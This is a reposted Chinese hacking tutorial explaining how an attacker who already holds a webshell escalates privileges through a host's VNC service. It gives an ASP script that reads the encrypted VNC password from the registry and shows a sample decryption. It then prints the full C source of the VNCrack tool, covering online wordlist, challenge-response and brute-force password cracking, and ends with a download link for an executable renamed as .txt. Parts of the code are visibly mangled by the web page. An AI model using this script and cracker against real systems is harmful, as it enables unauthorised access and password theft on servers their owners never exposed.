| 了解黑客是如何利用VNC服务提升权限 |
| ［ 作者：佚名 转贴自：网络转载 阅读次数：98 更新时间：2007-9-7 11:57:00 录入：刘光勇 ］ 热 |
|
|
|
很多时候大家提升权限一般用SERVU，或是找到sa帐户密码等。其实除了这个VNC一般也是以最高权限运行的，而且是图形界面，功能和远程终端类似。
如果得到了一个主机的WEBSHELL，想提升权限，发现主机运行了VNC服务，就可以考虑用下面的方法。
默认情况下VNC服务端的密码是放在注册表中的，本文只针对这种情况。
首先用ASP读出注册表中的加密密码，然后用破解工具破解。
我给出大家一个读取VNC密码的ASP脚本，默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password
Set WshShell = server.CreateObject("WScript.Shell")
bkey=WSHShell.RegRead("HKCU\Software\ORL\WinVNC3\Password")
for each str in bkey
response.write hex(str)
next
读取出来后结果类似 49 40 15 F9 A3 5E 8B 22这种十六进制，这是VNC加密的密码。我们可以用vncx4
破解它，vncx4使用很简单，只要在命令行下输入
c:\>vncx4 -W
然后顺序输入上面的每一个十六进制数据，没输完一个回车一次就行了。
比如我给个测试
H:\tool>vncx4 -W
49
40
15
F9
A3
5E
8B
22
Entered HEX String: 49 40 15 f9 a3 5e 8b 22
VNC Password: 123456
好，我把这个工具的源代码和编译程序给出来，编译程序在最下面。
/* Project code: vncrack for windows (vnx4)
*
* FX <fx@phenoelit.de>
* Phenoelit (http://www.phenoelit.de/)
* (c) 2k
*
* Blocking delay idea by Stonneway.
*/
#include
#include
#include
file://#include
#include
#include "d3des.h"
#include "vncauth.h"
extern unsigned char fixedkey[8];
#define SPLASH "VNCrackX4 - by Phenoelit (http://www.phenoelit.de/)\n"
int verbose=0,lbf=0;
char *schallange=NULL, *sresponse=NULL;
void interactive(void);
void cr_crack(char *wordlist);
void *sec_malloc(size_t size) {
void *p;
if ((p=malloc(size))==NULL) {
fprintf(stderr,"malloc() failed for %d bytes\n",size);
exit (-1);
}
memset(p,0,size);
return p;
}
void usage(void) {
printf("VNCrackX4\n"
"by Phenoelit (http://www.phenoelit.de/)\n\n"\
"Usage:\n"
"Online: ./vncrack -h target.host.com -w wordlist.txt [-opt's]\n"
"Windows interactive mode: ./vncrack -W \n"
"\tenter hex key one byte per line - find it in\n"
"\t\\HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3\\Password or\n"
"\t\\HKEY_USERS\\.DEFAULT\\Software\\ORL\\WinVNC3\\Password\n\n"
"Options for online mode:\n"
"-v\tverbose (repeat -v for more)\n"
"-p P\tconnect to port P instead of 5900\n"
"Options for PHoss intercepted challages:\n"
"-c \tchallange from PHoss output\n"
"-r \tresponse from PHoss output\n"
);
exit(-1);
}
void sleep(DWORD ms) {
DWORD t1;
t1=GetTickCount();
while (GetTickCount()<(t1+ms));
}
int main(int argc, char **argv) {
int sfd; /* socket */
unsigned long dest_ip;
struct sockaddr_in dest_addr;
char *rbuf;
unsigned char atype[4];
unsigned char challange[16];
char *vnchost=NULL;
u_short vncport=5900;
int i,ani=0;
char *wordlist=NULL;
FILE *fd;
char *tryword;
char servertext[255];
char *sthelp;
int conwait=90;
int redocount=0;
int redosleep=10;
/* check the command line options */
for (i=1;i switch (argv[i][1]) {
case 'v': // verbose
verbose++;
break;
case 'p':
if (argv[++i]==NULL) usage();
if ((vncport=atoi(argv[i]))==0) {
fprintf(stderr,"wrong port number: %s\n",argv[i]);
exit (-1);
}
break;
case 'h':
if (argv[++i]==NULL) usage();
vnchost=(char *)sec_malloc(strlen(argv[i])+1);
strcpy(vnchost,argv[i]);
break;
case 'w':
if (argv[++i]==NULL) usage();
wordlist=(char *)sec_malloc(strlen(argv[i])+1);
strcpy(wordlist,argv[i]);
break;
case 'W':
interactive();
break;
case 'c':
if (argv[++i]==NULL) usage();
schallange=(char *)sec_malloc(strlen(argv[i])+1);
strcpy(schallange,argv[i]);
break;
case 'r':
if (argv[++i]==NULL) usage();
sresponse=(char *)sec_malloc(strlen(argv[i])+1);
strcpy(sresponse,argv[i]);
break;
case 'R':
if (argv[++i]==NULL) usage();
redosleep=atoi(argv[i]);
break;
default:
usage();
}
}
if (schallange||sresponse) {
printf(SPLASH);
cr_crack(wordlist); /* exit is done here */
}
if (!(vnchost&&vncport&&wordlist)) usage();
printf(SPLASH);
/* host */
dest_ip=inet_addr(vnchost);
memcpy(&dest_addr.sin_addr,&dest_ip,sizeof(dest_ip));
dest_addr.sin_port=htons(vncport);
dest_addr.sin_family=AF_INET;
/* make sure we can talk WinSock
Comment: I like to enclose this, because it is SO UGLY */
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1, 1);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) {
fprintf(stderr,"Unable to start networking");
exit (-1);
}
} // WSA and GO
if ((fd=fopen(wordlist,"rt"))==NULL) {
fprintf(stderr,"Unable to open wordlist %s\n",wordlist);
exit (-1);
}
tryword=sec_malloc(256);
while (fgets(tryword,255,fd)!=NULL) {
/* cut the word */
if (tryword[strlen(tryword)-1]=='\n') tryword[strlen(tryword)-1]='\0';
ReDoClosed:
if (verbose) {
printf("\ntrying '%s' ...",tryword);
fflush(stdout);
}
if ((sfd=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) {
fprintf(stderr,"Unable to get a socket");
exit (-1);
}
if (connect(sfd,(struct sockaddr *)&dest_addr,sizeof(dest_addr))!=0) {
fprintf(stderr,"Connect failed (%d).\n",WSAGetLastError());
exit(-1);
}
/* connunication starts with server->client version packet */
rbuf=sec_malloc(100);
if (recv(sfd,rbuf,100,0)<0) {
fprintf(stderr,"recv()");
exit(-1);
}
if (verbose>1) printf("\nServer Protocol version: %s",rbuf);
/* bounce this message back - so the server will continue */
if (send(sfd,rbuf,strlen(rbuf),0)<0) {
fprintf(stderr,"send()");
exit(-1);
}
if (recv(sfd,atype,sizeof(atype),0)<0) {
fprintf(stderr,"recv()");
exit(-1);
}
if (verbose>1) {
printf("Authentication type: ");
for (i=0;i<4;i++) { printf("%x ",atype[i]); }
printf("\n");
}
switch (atype[3]) {
case 0:
fprintf(stderr,"Server told me: connection close\n");
if (verbose) {
// try to retrieve the reason
memset(servertext,0,sizeof(servertext));
if (recv(sfd,servertext,sizeof(servertext),0)<0) {
fprintf(stderr,"recv() in verbose");
exit(-1);
} else {
sthelp=servertext;
sthelp+=4;
fprintf(stderr,"Server says: %s\n",sthelp);
}
if (verbose) printf("\tWaiting for blocking disable\n");
Sleep(redosleep*1000);
if ((redocount++)<3) {
goto ReDoClosed;
} else {
fprintf(stderr,"\tgiving up (increase -R)\n");
}
}
exit(-1);
break; /* not reached */
case 1:
printf( "\n>>>>>>>>>>>>>>>\n"
"Server does not require authentication!\n"
">>>>>>>>>>>>>>>\n");
exit(-1);
break; /* not reached */
case 2:
if (verbose>1)
printf( "Authentication type 'VNC authentication' - fine\n");
break;
default:
fprintf(stderr,"Unknown authentication requested by server\n");
exit(-1);
}
redocount=0;
if (recv(sfd,challange,sizeof(challange),0)<0) {
fprintf(stderr,"recv()");
exit(-1);
}
if (verbose>1) {
printf("challange: ");
for (i=0;i<16;i++) { printf("%x ",challange[i]); }
printf("\n");
}
/* encrypt challange with password and send this fuck to the server */
vncEncryptBytes(challange,tryword);
if (send(sfd,challange,sizeof(challange),0)<0) {
fprintf(stderr,"auth send()");
exit(-1);
}
atype[3]=0;
if (recv(sfd,atype,sizeof(atype),0)<0) {
fprintf(stderr,"auth recv()");
exit(-1);
}
switch (atype[3]) {
case 0:
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",tryword);
free(tryword);
exit(0);
break; /* not reached */
case 1: /* 'normal' failed */
if (verbose) printf("failed\n");
break;
case 2: /* too many */
printf("Server is angry, waiting for calm down...\n");
sleep(10000);
break;
default:
fprintf(stderr,"Unknown response\n");
exit(-1);
}
shutdown(sfd,2);
closesocket(sfd);
memset(tryword,0,256);
}
free(tryword);
fclose(fd);
return 0;
}
void interactive(void) {
unsigned char *pass;
int i;
char c;
pass=(char *)sec_malloc(9);
for (i=0;i<8;i++) {
scanf("%x",&c);
pass[i]=c;
}
printf("Entered HEX String: ");
for (i=0;i<8;i++) { printf("%x ",pass[i]); }
printf("\n");
deskey(fixedkey,DE1);
des(pass,pass);
printf("VNC Password: %s\n",pass);
exit(0);
}
void cr_crack(char *wordlist) {
int i,j;
#define CRL 16
char chl[CRL+1];
char rsp[CRL+1];
char tchl[CRL+1];
char ts[3];
FILE *fd;
char *tryword;
char bft[9];
char cset1[] =
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"1234567890!\"$%&/()=?`''*_:;-.,#+}][{^<>¦\0";
#define cset1_len (92)
int cnt[8];
time_t t1,t2;
if (!wordlist) {
fprintf(stderr,"Supply wordlist file !");
exit(-1);
}
if ((!schallange)||(!sresponse)) {
usage();
}
if (
(strlen(schallange)!=16*2)
||(strlen(sresponse)!=16*2)
) {
fprintf(stderr,
"challange and response have to be 32 characters each\n");
exit (-1);
}
memset(&chl,0,CRL+1);
memset(&tchl,0,CRL+1);
memset(&rsp,0,CRL+1);
memset(&ts,0,3);
j=0;
for (i=0;i strncpy(ts,&schallange[j],2);
chl[i]=(unsigned char)strtol(ts,NULL,16);
strncpy(ts,&sresponse[j],2);
rsp[i]=(unsigned char)strtol(ts,NULL,16);
j+=2;
}
if (verbose) {
printf("Challange: ");
for (i=0;i printf("%x",(unsigned char) chl[i]);
}
printf("\n");
printf("Response : ");
for (i=0;i printf("%x",(unsigned char) rsp[i]);
}
printf("\n");
}
if ((fd=fopen(wordlist,"rt"))==NULL) {
fprintf(stderr,"Could not open wordlist\n");
exit (-1);
}
tryword=sec_malloc(256);
while (fgets(tryword,255,fd)!=NULL) {
tryword[strlen(tryword)-1]='\0';
/* try this word */
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,tryword);
if (verbose>1) {
for (i=0;i printf("%x",(unsigned char) rsp[i]);
}
printf("\n");
for (i=0;i printf("%x",(unsigned char) tchl[i]);
}
printf("\n");
}
if (!memcmp(tchl,rsp,CRL)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",tryword);
free(tryword);
exit(0);
} else {
if (verbose) printf("%s failed\n",tryword);
}
memset(tryword,0,256);
}
fclose(fd);
free(tryword);
printf( "-----------------------------------\n"
"Wordlist failed - going brute force\n"
"-----------------------------------\n" );
t1=GetTickCount();
bft[8]='\0';
bft[1]='\0';
printf("\tdepth I\n");
for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];
if (verbose)
printf("try: %s\n",bft);
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
bft[2]='\0';
printf("\tdepth II\n");
for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];
for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];
if (verbose)
printf("try: %s\n",bft);
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
/************/
bft[3]='\0';
printf("\tdepth III\n");
for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];
for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];
for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];
if (verbose)
printf("try: %s\n",bft);
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
/************/
bft[4]='\0';
printf("\tdepth IV\n");
for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];
for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];
for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];
for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];
if (verbose)
printf("try: %s\n",bft);
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
/************/
bft[5]='\0';
printf("\tdepth V\n");
for (cnt[4]=0;cnt[4] bft[4]=cset1[cnt[4]];
for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];
for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];
for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];
for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];
if (verbose)
printf("try: %s\n",bft);
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
} file://4
/************/
bft[6]='\0';
printf("\tdepth VI\n");
for (cnt[5]=0;cnt[5] bft[5]=cset1[cnt[5]];
for (cnt[4]=0;cnt[4] bft[4]=cset1[cnt[4]];
for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];
for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];
for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];
for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];
if (verbose)
printf("try: %s\n",bft);
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
} file://4
} file://5
/************/
bft[7]='\0';
printf("\tdepth VII\n");
for (cnt[6]=0;cnt[6] bft[6]=cset1[cnt[6]];
for (cnt[5]=0;cnt[5] bft[5]=cset1[cnt[5]];
for (cnt[4]=0;cnt[4] bft[4]=cset1[cnt[4]];
for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];
for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];
for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];
for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];
if (verbose)
printf("try: %s\n",bft);
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
} file://4
} file://5
} file://6
/************/
bft[8]='\0';
printf("\tdepth VIII\n");
for (cnt[7]=0;cnt[7] bft[7]=cset1[cnt[7]];
for (cnt[6]=0;cnt[6] bft[6]=cset1[cnt[6]];
for (cnt[5]=0;cnt[5] bft[5]=cset1[cnt[5]];
for (cnt[4]=0;cnt[4] bft[4]=cset1[cnt[4]];
for (cnt[3]=0;cnt[3] bft[3]=cset1[cnt[3]];
for (cnt[2]=0;cnt[2] bft[2]=cset1[cnt[2]];
for (cnt[1]=0;cnt[1] bft[1]=cset1[cnt[1]];
for (cnt[0]=0;cnt[0] bft[0]=cset1[cnt[0]];
if (verbose)
printf("try: %s\n",bft);
memcpy(tchl,chl,CRL);
vncEncryptBytes(tchl,bft);
if (!memcmp(tchl,rsp,16)) {
printf( "\n>>>>>>>>>>>>>>>\n"
"Password: %s\n"
">>>>>>>>>>>>>>>\n",
bft);
exit (0);
}
} // for 0
} // for 1
} file://2
} file://3
} file://4
} file://5
} file://6
} file://7
t2=GetTickCount();
printf("depth VIII (%20.4f wps)\n",(t2-t1)/63);
printf("Not in character set !\n");
exit(0);
}
下载地址：附件[vncx4.txt]：
http://blog.blogchina.com/upload/2005-01-09/20050109102125331354.txt
下载后把扩展名改成.exe即可，下载时单击右键下载，不要直接打开。
|
|
|
|
论坛
先飞电脑技术网 →
技术文章 → 网络技术 → 网络安全
版权声明：本站提供的“了解黑客是如何利用VNC服务提升权限”版权归文章所有者，转载请注明出处！
